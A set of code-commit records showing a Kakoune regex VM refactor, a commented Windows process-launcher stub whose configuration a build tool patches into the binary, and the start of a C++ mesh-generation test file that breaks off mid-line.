{"text":"<commit_before>#ifndef regex_impl_hh_INCLUDED\n#define regex_impl_hh_INCLUDED\n\n#include \"unicode.hh\"\n#include \"utf8.hh\"\n#include \"utf8_iterator.hh\"\n#include \"vector.hh\"\n#include \"flags.hh\"\n\nnamespace Kakoune\n{\n\nstruct CompiledRegex\n{\n    enum Op : char\n    {\n        Match,\n        Literal,\n        LiteralIgnoreCase,\n        AnyChar,\n        Matcher,\n        Jump,\n        Split_PrioritizeParent,\n        Split_PrioritizeChild,\n        Save,\n        LineStart,\n        LineEnd,\n        WordBoundary,\n        NotWordBoundary,\n        SubjectBegin,\n        SubjectEnd,\n        LookAhead,\n        LookBehind,\n        NegativeLookAhead,\n        NegativeLookBehind,\n    };\n\n    using Offset = unsigned;\n    static constexpr Offset search_prefix_size = 3 + 2 * sizeof(Offset);\n\n    explicit operator bool() const { return not bytecode.empty(); }\n\n    Vector<char> bytecode;\n    Vector<std::function<bool (Codepoint)>> matchers;\n    size_t save_count;\n};\n\nCompiledRegex compile_regex(StringView re);\n\nenum class RegexExecFlags\n{\n    None              = 0,\n    Search            = 1 << 0,\n    NotBeginOfLine    = 1 << 1,\n    NotEndOfLine      = 1 << 2,\n    NotBeginOfWord    = 1 << 3,\n    NotEndOfWord      = 1 << 4,\n    NotBeginOfSubject = 1 << 5,\n    NotInitialNull    = 1 << 6,\n    AnyMatch          = 1 << 7,\n    NoSaves           = 1 << 8,\n};\n\nconstexpr bool with_bit_ops(Meta::Type<RegexExecFlags>) { return true; }\n\ntemplate<typename Iterator>\nstruct ThreadedRegexVM\n{\n    ThreadedRegexVM(const CompiledRegex& program)\n      : m_program{program} { kak_assert(m_program); }\n\n    struct Saves\n    {\n        int refcount;\n        Vector<Iterator> pos;\n    };\n\n    Saves* clone_saves(Saves* saves)\n    {\n        if (not m_free_saves.empty())\n        {\n            Saves* res = m_free_saves.back();\n            m_free_saves.pop_back();\n            res->refcount = 1;\n            res->pos = saves->pos;\n            return res;\n        }\n\n        m_saves.push_back(std::make_unique<Saves>(Saves{1, saves->pos}));\n        return m_saves.back().get();\n    }\n\n    struct Thread\n    {\n        const char* inst;\n        Saves* saves;\n    };\n\n    enum class StepResult { Consumed, Matched, Failed };\n    StepResult step(Thread& thread)\n    {\n        const auto prog_start = m_program.bytecode.data();\n        const auto prog_end = prog_start + m_program.bytecode.size();\n        while (true)\n        {\n            const Codepoint cp = m_pos == m_end ? 0 : *m_pos;\n            const CompiledRegex::Op op = (CompiledRegex::Op)*thread.inst++;\n            switch (op)\n            {\n                case CompiledRegex::Literal:\n                    if (utf8::read_codepoint(thread.inst, prog_end) == cp)\n                        return StepResult::Consumed;\n                    return StepResult::Failed;\n                case CompiledRegex::LiteralIgnoreCase:\n                    if (utf8::read_codepoint(thread.inst, prog_end) == to_lower(cp))\n                        return StepResult::Consumed;\n                    return StepResult::Failed;\n                case CompiledRegex::AnyChar:\n                    return StepResult::Consumed;\n                case CompiledRegex::Jump:\n                    thread.inst = prog_start + *reinterpret_cast<const CompiledRegex::Offset*>(thread.inst);\n                    break;\n                case CompiledRegex::Split_PrioritizeParent:\n                {\n                    auto parent = thread.inst + sizeof(CompiledRegex::Offset);\n                    auto child = prog_start + *reinterpret_cast<const CompiledRegex::Offset*>(thread.inst);\n                    thread.inst = parent;\n                    if (thread.saves)\n                        ++thread.saves->refcount;\n                    m_current_threads.push_back({child, thread.saves});\n                    break;\n                }\n                case CompiledRegex::Split_PrioritizeChild:\n                {\n                    auto parent = thread.inst + sizeof(CompiledRegex::Offset);\n                    auto child = prog_start + *reinterpret_cast<const CompiledRegex::Offset*>(thread.inst);\n                    thread.inst = child;\n                    if (thread.saves)\n                        ++thread.saves->refcount;\n                    m_current_threads.push_back({parent, thread.saves});\n                    break;\n                }\n                case CompiledRegex::Save:\n                {\n                    if (thread.saves == nullptr)\n                        break;\n\n                    const char index = *thread.inst++;\n                    if (thread.saves->refcount > 1)\n                    {\n                        --thread.saves->refcount;\n                        thread.saves = clone_saves(thread.saves);\n                    }\n                    thread.saves->pos[index] = m_pos.base();\n                    break;\n                }\n                case CompiledRegex::Matcher:\n                {\n                    const int matcher_id = *thread.inst++;\n                    return m_program.matchers[matcher_id](*m_pos) ?\n                        StepResult::Consumed : StepResult::Failed;\n                }\n                case CompiledRegex::LineStart:\n                    if (not is_line_start())\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::LineEnd:\n                    if (not is_line_end())\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::WordBoundary:\n                    if (not is_word_boundary())\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::NotWordBoundary:\n                    if (is_word_boundary())\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::SubjectBegin:\n                    if (m_pos != m_begin or m_flags & RegexExecFlags::NotBeginOfSubject)\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::SubjectEnd:\n                    if (m_pos != m_end)\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::LookAhead:\n                case CompiledRegex::NegativeLookAhead:\n                {\n                    int count = *thread.inst++;\n                    for (auto it = m_pos; count and it != m_end; ++it, --count)\n                        if (*it != utf8::read(thread.inst))\n                            break;\n                    if ((op == CompiledRegex::LookAhead and count != 0) or\n                        (op == CompiledRegex::NegativeLookAhead and count == 0))\n                        return StepResult::Failed;\n                    thread.inst = utf8::advance(thread.inst, prog_end, CharCount{count - 1});\n                    break;\n                }\n                case CompiledRegex::LookBehind:\n                case CompiledRegex::NegativeLookBehind:\n                {\n                    int count = *thread.inst++;\n                    for (auto it = m_pos-1; count and it >= m_begin; --it, --count)\n                        if (*it != utf8::read(thread.inst))\n                            break;\n                    if ((op == CompiledRegex::LookBehind and count != 0) or\n                        (op == CompiledRegex::NegativeLookBehind and count == 0))\n                        return StepResult::Failed;\n                    thread.inst = utf8::advance(thread.inst, prog_end, CharCount{count - 1});\n                    break;\n                }\n                case CompiledRegex::Match:\n                    return StepResult::Matched;\n            }\n        }\n        return StepResult::Failed;\n    }\n\n    bool exec(Iterator begin, Iterator end, RegexExecFlags flags)\n    {\n        m_begin = begin;\n        m_end = end;\n        m_flags = flags;\n\n        bool found_match = false;\n        m_current_threads.clear();\n        m_next_threads.clear();\n\n        Saves* initial_saves = nullptr;\n        if (not (m_flags & RegexExecFlags::NoSaves))\n        {\n            m_saves.push_back(std::make_unique<Saves>(Saves{1, Vector<Iterator>(m_program.save_count, Iterator{})}));\n            initial_saves = m_saves.back().get();\n        }\n\n        const auto start_offset = (flags & RegexExecFlags::Search) ? 0 : CompiledRegex::search_prefix_size;\n        m_current_threads.push_back({m_program.bytecode.data() + start_offset, initial_saves});\n\n        if (flags & RegexExecFlags::NotInitialNull and m_begin == m_end)\n            return false;\n\n        auto release_saves = [this](Saves* saves) {\n            if (saves and --saves->refcount == 0)\n                m_free_saves.push_back(saves);\n        };\n\n        for (m_pos = Utf8It{m_begin, m_begin, m_end}; m_pos != m_end; ++m_pos)\n        {\n            while (not m_current_threads.empty())\n            {\n                auto thread = m_current_threads.back();\n                m_current_threads.pop_back();\n                switch (step(thread))\n                {\n                case StepResult::Matched:\n                    if (not (flags & RegexExecFlags::Search) or \/\/ We are not at end, this is not a full match\n                        (flags & RegexExecFlags::NotInitialNull and m_pos == m_begin))\n                    {\n                        release_saves(thread.saves);\n                        continue;\n                    }\n\n                    if (thread.saves)\n                        m_captures = std::move(thread.saves->pos);\n\n                    if (flags & RegexExecFlags::AnyMatch)\n                        return true;\n\n                    found_match = true;\n                    m_current_threads.clear(); \/\/ remove this and lower priority threads\n                    break;\n                case StepResult::Failed:\n                    release_saves(thread.saves);\n                    break;\n                case StepResult::Consumed:\n                    if (contains_that(m_next_threads, [&](auto& t) { return t.inst == thread.inst; }))\n                        release_saves(thread.saves);\n                    else\n                        m_next_threads.push_back(thread);\n                    break;\n                }\n            }\n            if (m_next_threads.empty())\n                return found_match;\n\n            std::swap(m_current_threads, m_next_threads);\n            std::reverse(m_current_threads.begin(), m_current_threads.end());\n        }\n        if (found_match)\n            return true;\n\n        \/\/ Step remaining threads to see if they match without consuming anything else\n        while (not m_current_threads.empty())\n        {\n            auto thread = m_current_threads.back();\n            m_current_threads.pop_back();\n            if (step(thread) == StepResult::Matched)\n            {\n                if (thread.saves)\n                    m_captures = std::move(thread.saves->pos);\n                return true;\n            }\n        }\n        return false;\n    }\n\n    bool is_line_start() const\n    {\n        return (m_pos == m_begin and not (m_flags & RegexExecFlags::NotBeginOfLine)) or\n               *(m_pos-1) == '\\n';\n    }\n\n    bool is_line_end() const\n    {\n        return (m_pos == m_end and not (m_flags & RegexExecFlags::NotEndOfLine)) or\n               *m_pos == '\\n';\n    }\n\n    bool is_word_boundary() const\n    {\n        return (m_pos == m_begin and not (m_flags & RegexExecFlags::NotBeginOfWord)) or\n               (m_pos == m_end and not (m_flags & RegexExecFlags::NotEndOfWord)) or\n               is_word(*(m_pos-1)) != is_word(*m_pos);\n    }\n\n    const CompiledRegex& m_program;\n    Vector<Thread> m_current_threads;\n    Vector<Thread> m_next_threads;\n\n    using Utf8It = utf8::iterator<Iterator>;\n\n    Iterator m_begin;\n    Iterator m_end;\n    Utf8It m_pos;\n    RegexExecFlags m_flags;\n\n    Vector<std::unique_ptr<Saves>> m_saves;\n    Vector<Saves*> m_free_saves;\n\n    Vector<Iterator> m_captures;\n};\n\ntemplate<typename It>\nbool regex_match(It begin, It end, const CompiledRegex& re, RegexExecFlags flags = RegexExecFlags::None)\n{\n    ThreadedRegexVM<It> vm{re};\n    return vm.exec(begin, end, (RegexExecFlags)(flags & ~(RegexExecFlags::Search)) |\n                               RegexExecFlags::AnyMatch | RegexExecFlags::NoSaves);\n}\n\ntemplate<typename It>\nbool regex_match(It begin, It end, Vector<It>& captures, const CompiledRegex& re,\n                 RegexExecFlags flags = RegexExecFlags::None)\n{\n    ThreadedRegexVM<It> vm{re};\n    if (vm.exec(begin, end,  flags & ~(RegexExecFlags::Search)))\n    {\n        captures = std::move(vm.m_captures);\n        return true;\n    }\n    return false;\n}\n\ntemplate<typename It>\nbool regex_search(It begin, It end, const CompiledRegex& re,\n                  RegexExecFlags flags = RegexExecFlags::None)\n{\n    ThreadedRegexVM<It> vm{re};\n    return vm.exec(begin, end, flags | RegexExecFlags::Search | RegexExecFlags::AnyMatch | RegexExecFlags::NoSaves);\n}\n\ntemplate<typename It>\nbool regex_search(It begin, It end, Vector<It>& captures, const CompiledRegex& re,\n                  RegexExecFlags flags = RegexExecFlags::None)\n{\n    ThreadedRegexVM<It> vm{re};\n    if (vm.exec(begin, end, flags | RegexExecFlags::Search))\n    {\n        captures = std::move(vm.m_captures);\n        return true;\n    }\n    return false;\n}\n\n}\n\n#endif \/\/ regex_impl_hh_INCLUDED\n<commit_msg>Regex: make m_current_threads and m_next_threads local variable of exec<commit_after>#ifndef regex_impl_hh_INCLUDED\n#define regex_impl_hh_INCLUDED\n\n#include \"unicode.hh\"\n#include \"utf8.hh\"\n#include \"utf8_iterator.hh\"\n#include \"vector.hh\"\n#include \"flags.hh\"\n\nnamespace Kakoune\n{\n\nstruct CompiledRegex\n{\n    enum Op : char\n    {\n        Match,\n        Literal,\n        LiteralIgnoreCase,\n        AnyChar,\n        Matcher,\n        Jump,\n        Split_PrioritizeParent,\n        Split_PrioritizeChild,\n        Save,\n        LineStart,\n        LineEnd,\n        WordBoundary,\n        NotWordBoundary,\n        SubjectBegin,\n        SubjectEnd,\n        LookAhead,\n        LookBehind,\n        NegativeLookAhead,\n        NegativeLookBehind,\n    };\n\n    using Offset = unsigned;\n    static constexpr Offset search_prefix_size = 3 + 2 * sizeof(Offset);\n\n    explicit operator bool() const { return not bytecode.empty(); }\n\n    Vector<char> bytecode;\n    Vector<std::function<bool (Codepoint)>> matchers;\n    size_t save_count;\n};\n\nCompiledRegex compile_regex(StringView re);\n\nenum class RegexExecFlags\n{\n    None              = 0,\n    Search            = 1 << 0,\n    NotBeginOfLine    = 1 << 1,\n    NotEndOfLine      = 1 << 2,\n    NotBeginOfWord    = 1 << 3,\n    NotEndOfWord      = 1 << 4,\n    NotBeginOfSubject = 1 << 5,\n    NotInitialNull    = 1 << 6,\n    AnyMatch          = 1 << 7,\n    NoSaves           = 1 << 8,\n};\n\nconstexpr bool with_bit_ops(Meta::Type<RegexExecFlags>) { return true; }\n\ntemplate<typename Iterator>\nstruct ThreadedRegexVM\n{\n    ThreadedRegexVM(const CompiledRegex& program)\n      : m_program{program} { kak_assert(m_program); }\n\n    struct Saves\n    {\n        int refcount;\n        Vector<Iterator> pos;\n    };\n\n    Saves* clone_saves(Saves* saves)\n    {\n        if (not m_free_saves.empty())\n        {\n            Saves* res = m_free_saves.back();\n            m_free_saves.pop_back();\n            res->refcount = 1;\n            res->pos = saves->pos;\n            return res;\n        }\n\n        m_saves.push_back(std::make_unique<Saves>(Saves{1, saves->pos}));\n        return m_saves.back().get();\n    }\n\n    void release_saves(Saves* saves)\n    {\n        if (saves and --saves->refcount == 0)\n            m_free_saves.push_back(saves);\n    };\n\n    struct Thread\n    {\n        const char* inst;\n        Saves* saves;\n    };\n\n    enum class StepResult { Consumed, Matched, Failed };\n    StepResult step(Thread& thread, Vector<Thread>& threads)\n    {\n        const auto prog_start = m_program.bytecode.data();\n        const auto prog_end = prog_start + m_program.bytecode.size();\n        while (true)\n        {\n            const Codepoint cp = m_pos == m_end ? 0 : *m_pos;\n            const CompiledRegex::Op op = (CompiledRegex::Op)*thread.inst++;\n            switch (op)\n            {\n                case CompiledRegex::Literal:\n                    if (utf8::read_codepoint(thread.inst, prog_end) == cp)\n                        return StepResult::Consumed;\n                    return StepResult::Failed;\n                case CompiledRegex::LiteralIgnoreCase:\n                    if (utf8::read_codepoint(thread.inst, prog_end) == to_lower(cp))\n                        return StepResult::Consumed;\n                    return StepResult::Failed;\n                case CompiledRegex::AnyChar:\n                    return StepResult::Consumed;\n                case CompiledRegex::Jump:\n                    thread.inst = prog_start + *reinterpret_cast<const CompiledRegex::Offset*>(thread.inst);\n                    break;\n                case CompiledRegex::Split_PrioritizeParent:\n                {\n                    auto parent = thread.inst + sizeof(CompiledRegex::Offset);\n                    auto child = prog_start + *reinterpret_cast<const CompiledRegex::Offset*>(thread.inst);\n                    thread.inst = parent;\n                    if (thread.saves)\n                        ++thread.saves->refcount;\n                    threads.push_back({child, thread.saves});\n                    break;\n                }\n                case CompiledRegex::Split_PrioritizeChild:\n                {\n                    auto parent = thread.inst + sizeof(CompiledRegex::Offset);\n                    auto child = prog_start + *reinterpret_cast<const CompiledRegex::Offset*>(thread.inst);\n                    thread.inst = child;\n                    if (thread.saves)\n                        ++thread.saves->refcount;\n                    threads.push_back({parent, thread.saves});\n                    break;\n                }\n                case CompiledRegex::Save:\n                {\n                    if (thread.saves == nullptr)\n                        break;\n\n                    const char index = *thread.inst++;\n                    if (thread.saves->refcount > 1)\n                    {\n                        --thread.saves->refcount;\n                        thread.saves = clone_saves(thread.saves);\n                    }\n                    thread.saves->pos[index] = m_pos.base();\n                    break;\n                }\n                case CompiledRegex::Matcher:\n                {\n                    const int matcher_id = *thread.inst++;\n                    return m_program.matchers[matcher_id](*m_pos) ?\n                        StepResult::Consumed : StepResult::Failed;\n                }\n                case CompiledRegex::LineStart:\n                    if (not is_line_start())\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::LineEnd:\n                    if (not is_line_end())\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::WordBoundary:\n                    if (not is_word_boundary())\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::NotWordBoundary:\n                    if (is_word_boundary())\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::SubjectBegin:\n                    if (m_pos != m_begin or m_flags & RegexExecFlags::NotBeginOfSubject)\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::SubjectEnd:\n                    if (m_pos != m_end)\n                        return StepResult::Failed;\n                    break;\n                case CompiledRegex::LookAhead:\n                case CompiledRegex::NegativeLookAhead:\n                {\n                    int count = *thread.inst++;\n                    for (auto it = m_pos; count and it != m_end; ++it, --count)\n                        if (*it != utf8::read(thread.inst))\n                            break;\n                    if ((op == CompiledRegex::LookAhead and count != 0) or\n                        (op == CompiledRegex::NegativeLookAhead and count == 0))\n                        return StepResult::Failed;\n                    thread.inst = utf8::advance(thread.inst, prog_end, CharCount{count - 1});\n                    break;\n                }\n                case CompiledRegex::LookBehind:\n                case CompiledRegex::NegativeLookBehind:\n                {\n                    int count = *thread.inst++;\n                    for (auto it = m_pos-1; count and it >= m_begin; --it, --count)\n                        if (*it != utf8::read(thread.inst))\n                            break;\n                    if ((op == CompiledRegex::LookBehind and count != 0) or\n                        (op == CompiledRegex::NegativeLookBehind and count == 0))\n                        return StepResult::Failed;\n                    thread.inst = utf8::advance(thread.inst, prog_end, CharCount{count - 1});\n                    break;\n                }\n                case CompiledRegex::Match:\n                    return StepResult::Matched;\n            }\n        }\n        return StepResult::Failed;\n    }\n\n    bool exec(Iterator begin, Iterator end, RegexExecFlags flags)\n    {\n        m_begin = begin;\n        m_end = end;\n        m_flags = flags;\n\n        bool found_match = false;\n\n        if (flags & RegexExecFlags::NotInitialNull and m_begin == m_end)\n            return false;\n\n        Saves* initial_saves = nullptr;\n        if (not (m_flags & RegexExecFlags::NoSaves))\n        {\n            m_saves.push_back(std::make_unique<Saves>(Saves{1, Vector<Iterator>(m_program.save_count, Iterator{})}));\n            initial_saves = m_saves.back().get();\n        }\n\n        const bool search = (flags & RegexExecFlags::Search);\n\n        const auto start_offset =  search ? 0 : CompiledRegex::search_prefix_size;\n        Vector<Thread> current_threads{Thread{m_program.bytecode.data() + start_offset, initial_saves}};\n        Vector<Thread> next_threads;\n        for (m_pos = Utf8It{m_begin, m_begin, m_end}; m_pos != m_end; ++m_pos)\n        {\n            while (not current_threads.empty())\n            {\n                auto thread = current_threads.back();\n                current_threads.pop_back();\n                switch (step(thread, current_threads))\n                {\n                case StepResult::Matched:\n                    if (not (flags & RegexExecFlags::Search) or \/\/ We are not at end, this is not a full match\n                        (flags & RegexExecFlags::NotInitialNull and m_pos == m_begin))\n                    {\n                        release_saves(thread.saves);\n                        continue;\n                    }\n\n                    if (thread.saves)\n                        m_captures = std::move(thread.saves->pos);\n\n                    if (flags & RegexExecFlags::AnyMatch)\n                        return true;\n\n                    found_match = true;\n                    current_threads.clear(); \/\/ remove this and lower priority threads\n                    break;\n                case StepResult::Failed:\n                    release_saves(thread.saves);\n                    break;\n                case StepResult::Consumed:\n                    if (contains_that(next_threads, [&](auto& t) { return t.inst == thread.inst; }))\n                        release_saves(thread.saves);\n                    else\n                        next_threads.push_back(thread);\n                    break;\n                }\n            }\n            if (next_threads.empty())\n                return found_match;\n\n            std::swap(current_threads, next_threads);\n            std::reverse(current_threads.begin(), current_threads.end());\n        }\n        if (found_match)\n            return true;\n\n        \/\/ Step remaining threads to see if they match without consuming anything else\n        while (not current_threads.empty())\n        {\n            auto thread = current_threads.back();\n            current_threads.pop_back();\n            if (step(thread, current_threads) == StepResult::Matched)\n            {\n                if (thread.saves)\n                    m_captures = std::move(thread.saves->pos);\n                return true;\n            }\n        }\n        return false;\n    }\n\n    bool is_line_start() const\n    {\n        return (m_pos == m_begin and not (m_flags & RegexExecFlags::NotBeginOfLine)) or\n               *(m_pos-1) == '\\n';\n    }\n\n    bool is_line_end() const\n    {\n        return (m_pos == m_end and not (m_flags & RegexExecFlags::NotEndOfLine)) or\n               *m_pos == '\\n';\n    }\n\n    bool is_word_boundary() const\n    {\n        return (m_pos == m_begin and not (m_flags & RegexExecFlags::NotBeginOfWord)) or\n               (m_pos == m_end and not (m_flags & RegexExecFlags::NotEndOfWord)) or\n               is_word(*(m_pos-1)) != is_word(*m_pos);\n    }\n\n    const CompiledRegex& m_program;\n\n    using Utf8It = utf8::iterator<Iterator>;\n\n    Iterator m_begin;\n    Iterator m_end;\n    Utf8It m_pos;\n    RegexExecFlags m_flags;\n\n    Vector<std::unique_ptr<Saves>> m_saves;\n    Vector<Saves*> m_free_saves;\n\n    Vector<Iterator> m_captures;\n};\n\ntemplate<typename It>\nbool regex_match(It begin, It end, const CompiledRegex& re, RegexExecFlags flags = RegexExecFlags::None)\n{\n    ThreadedRegexVM<It> vm{re};\n    return vm.exec(begin, end, (RegexExecFlags)(flags & ~(RegexExecFlags::Search)) |\n                               RegexExecFlags::AnyMatch | RegexExecFlags::NoSaves);\n}\n\ntemplate<typename It>\nbool regex_match(It begin, It end, Vector<It>& captures, const CompiledRegex& re,\n                 RegexExecFlags flags = RegexExecFlags::None)\n{\n    ThreadedRegexVM<It> vm{re};\n    if (vm.exec(begin, end,  flags & ~(RegexExecFlags::Search)))\n    {\n        captures = std::move(vm.m_captures);\n        return true;\n    }\n    return false;\n}\n\ntemplate<typename It>\nbool regex_search(It begin, It end, const CompiledRegex& re,\n                  RegexExecFlags flags = RegexExecFlags::None)\n{\n    ThreadedRegexVM<It> vm{re};\n    return vm.exec(begin, end, flags | RegexExecFlags::Search | RegexExecFlags::AnyMatch | RegexExecFlags::NoSaves);\n}\n\ntemplate<typename It>\nbool regex_search(It begin, It end, Vector<It>& captures, const CompiledRegex& re,\n                  RegexExecFlags flags = RegexExecFlags::None)\n{\n    ThreadedRegexVM<It> vm{re};\n    if (vm.exec(begin, end, flags | RegexExecFlags::Search))\n    {\n        captures = std::move(vm.m_captures);\n        return true;\n    }\n    return false;\n}\n\n}\n\n#endif \/\/ regex_impl_hh_INCLUDED\n<|endoftext|>"}
{"text":"<commit_before>\/\/ wrap.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n\n#pragma pack(push, 1)\nstruct Options {\n\tconst _TCHAR magic[33];\n\tconst _TCHAR appPath[128];\n\tconst _TCHAR workingDir[128];\n\tBOOL WaitForCompletion;\n};\n#pragma pack(pop)\n\nstatic const struct Options Opts = {\n\t_T(\"24cf2af931624d70b7972221e1fa1dfc\"),\n\t_T(\"                                                                                                                               \"),\n\t_T(\"                                                                                                                               \"),\n\ttrue };\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\n\tstd::wstring appPath(Opts.appPath);\n\tstd::wstring workingDir(Opts.workingDir);\n\t_TCHAR* space = _T(\" \");\n\n\tfor (int i = 1; i < argc; i++)\n\t{\n\t\tappPath.append(space);\n\t\tappPath.append(argv[i]);\n\t}\n\tsize_t appPathLength = appPath.length() * sizeof(_TCHAR);\n\t_TCHAR* appPathFinal = new _TCHAR[appPathLength];\n\t_tcscpy_s(appPathFinal, appPathLength, appPath.c_str());\n\n\tSECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES) };\n\tsa.nLength = sizeof(sa);\n\tsa.bInheritHandle = TRUE;\n\tsa.lpSecurityDescriptor = NULL;\n\n\tSTARTUPINFOW si = { sizeof(STARTUPINFOW) };\n\tsi.cb = sizeof(si);\n\tsi.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);\n\tsi.hStdInput = GetStdHandle(STD_INPUT_HANDLE);\n\tsi.hStdError = GetStdHandle(STD_ERROR_HANDLE);\n\tsi.dwFlags |= STARTF_USESTDHANDLES;\n\n\t_tprintf(_T(\"out is null: %d\\n\"), si.hStdOutput == NULL);\n\t_tprintf(_T(\"err is null: %d\\n\"), si.hStdError == NULL);\n\t_tprintf(_T(\"in is null: %d\\n\"), si.hStdInput == NULL);\n\n\t\/\/ TODO: error handling\n\tPROCESS_INFORMATION pi;\n\tCreateProcessW(NULL, appPathFinal, NULL, &sa, TRUE, 0, NULL, workingDir.c_str(), &si, &pi);\n\tif (Opts.WaitForCompletion)\n\t{\n\t\tWaitForSingleObject(pi.hProcess, INFINITE);\n\t}\n\treturn 0;\n}<commit_msg>Comments<commit_after>\/\/ wrap.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n\n#pragma pack(push, 1)\nstruct Options {\n\tconst _TCHAR magic[33];\n\t\/\/ Fixed lengths to keep things simple. 128 characters\n\t\/\/ should be more than enough given that the paths are relative.\n\tconst _TCHAR appPath[128];\n\tconst _TCHAR workingDir[128];\n\tBOOL WaitForCompletion;\n};\n#pragma pack(pop)\n\n\/\/ This stuct gets filled by winston during the linking stage.\n\/\/ This program serves as a template. Winston looks for the location\n\/\/ of the magic number and then writes a new struct into the binary\n\/\/ with the correct data prepopulated.\nstatic const struct Options Opts = {\n\t_T(\"24cf2af931624d70b7972221e1fa1dfc\"),\n\t_T(\"                                                                                                                               \"),\n\t_T(\"                                                                                                                               \"),\n\ttrue };\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\tstd::wstring appPath(Opts.appPath);\n\tstd::wstring workingDir(Opts.workingDir);\n\t_TCHAR* space = _T(\" \");\n\n\tfor (int i = 1; i < argc; i++)\n\t{\n\t\tappPath.append(space);\n\t\tappPath.append(argv[i]);\n\t}\n\tsize_t appPathLength = appPath.length() * sizeof(_TCHAR);\n\t_TCHAR* appPathFinal = new _TCHAR[appPathLength];\n\t_tcscpy_s(appPathFinal, appPathLength, appPath.c_str());\n\n\tSECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES) };\n\tsa.nLength = sizeof(sa);\n\tsa.bInheritHandle = TRUE;\n\tsa.lpSecurityDescriptor = NULL;\n\n\tSTARTUPINFOW si = { sizeof(STARTUPINFOW) };\n\tsi.cb = sizeof(si);\n\tsi.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);\n\tsi.hStdInput = GetStdHandle(STD_INPUT_HANDLE);\n\tsi.hStdError = GetStdHandle(STD_ERROR_HANDLE);\n\tsi.dwFlags |= STARTF_USESTDHANDLES;\n\n\t_tprintf(_T(\"out is null: %d\\n\"), si.hStdOutput == NULL);\n\t_tprintf(_T(\"err is null: %d\\n\"), si.hStdError == NULL);\n\t_tprintf(_T(\"in is null: %d\\n\"), si.hStdInput == NULL);\n\n\t\/\/ TODO: error handling\n\tPROCESS_INFORMATION pi;\n\tCreateProcessW(NULL, appPathFinal, NULL, &sa, TRUE, 0, NULL, workingDir.c_str(), &si, &pi);\n\tif (Opts.WaitForCompletion)\n\t{\n\t\tWaitForSingleObject(pi.hProcess, INFINITE);\n\t}\n\treturn 0;\n}<|endoftext|>"}
{"text":"<commit_before>#include <math.h>\n\n#include <BRepPrimAPI_MakeBox.hxx>\n#include <BRepPrimAPI_MakeSphere.hxx>\n#include <BRepPrimAPI_MakeTorus.hxx>\n#include <SMESH_Gen.hxx>\n#include <StdMeshers_AutomaticLength.hxx>\n#include <StdMeshers_TrianglePreference.hxx>\n#include <StdMeshers_MEFISTO_2D.hxx>\n#include <gtest\/gtest.h>\n\nTEST(MeshBasicGeometriesSuite, testMeshBox)\n{\n    \/\/ create a box, mixing integers and floats\n    BRepPrimAPI_MakeBox my_box(10.,10.,10.);\n    my_box.Build();\n    ASSERT_TRUE(my_box.IsDone());\n    \/\/ create the Mesh\n    SMESH_Gen* meshgen = new SMESH_Gen();\n    SMESH_Mesh* mesh = meshgen->CreateMesh(0, true);\n    \/\/ set geometry to be meshed\n    mesh->ShapeToMesh(my_box.Shape());\n    ASSERT_TRUE(mesh->HasShapeToMesh());\n    \/\/ check bounding box. It should be 10.sqrt(3)==17.32050807568877\n    double diagonal_size = mesh->GetShapeDiagonalSize(mesh->GetShapeToMesh());\n    ASSERT_GT(diagonal_size, 17.320508);\n    ASSERT_LT(diagonal_size, 17.320509);\n    \/\/ create and add hypothesis\n    StdMeshers_AutomaticLength* hyp1d = new StdMeshers_AutomaticLength(0,0,meshgen);\n    StdMeshers_TrianglePreference* hyp2d = new StdMeshers_TrianglePreference(1,0,meshgen);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 0);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 1);\n    \/\/ compute the mesh\n    meshgen->Compute(*mesh, mesh->GetShapeToMesh());\n    \/\/ free memory\n    delete meshgen;\n    delete mesh;\n}\n\nTEST(MeshBasicGeometriesSuite, testMeshBoxMEFISTO2)\n{\n    \/\/ create a box, mixing integers and floats\n    BRepPrimAPI_MakeBox my_box(10.,10.,10.);\n    my_box.Build();\n    ASSERT_TRUE(my_box.IsDone());\n    \/\/ create the Mesh\n    SMESH_Gen* meshgen = new SMESH_Gen();\n    SMESH_Mesh* mesh = meshgen->CreateMesh(0, true);\n    \/\/ set geometry to be meshed\n    mesh->ShapeToMesh(my_box.Shape());\n    ASSERT_TRUE(mesh->HasShapeToMesh());\n    \/\/ check bounding box. It should be 10.sqrt(3)==17.32050807568877\n    double diagonal_size = mesh->GetShapeDiagonalSize(mesh->GetShapeToMesh());\n    ASSERT_GT(diagonal_size, 17.320508);\n    ASSERT_LT(diagonal_size, 17.320509);\n    \/\/ create and add hypothesis\n    StdMeshers_AutomaticLength* hyp1d = new StdMeshers_AutomaticLength(0,0,meshgen);\n    StdMeshers_TrianglePreference* hyp2d = new StdMeshers_TrianglePreference(1,0,meshgen);\n    StdMeshers_MEFISTO_2D* mef2d = new StdMeshers_MEFISTO_2D(2,0,meshgen) ;\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 0);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 1);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 2);\n    \/\/ compute the mesh\n    meshgen->Compute(*mesh, mesh->GetShapeToMesh());\n    \/\/ free memory\n    delete meshgen;\n    delete mesh;\n}\n\nTEST(MeshBasicGeometriesSuite, testMeshSphere)\n{\n    \/\/ the same as the previous test, but with a sphere\n    BRepPrimAPI_MakeSphere my_sphere(10.);\n    my_sphere.Build();\n    ASSERT_TRUE(my_sphere.IsDone());\n    \/\/ create the Mesh\n    SMESH_Gen* meshgen = new SMESH_Gen();\n    SMESH_Mesh* mesh = 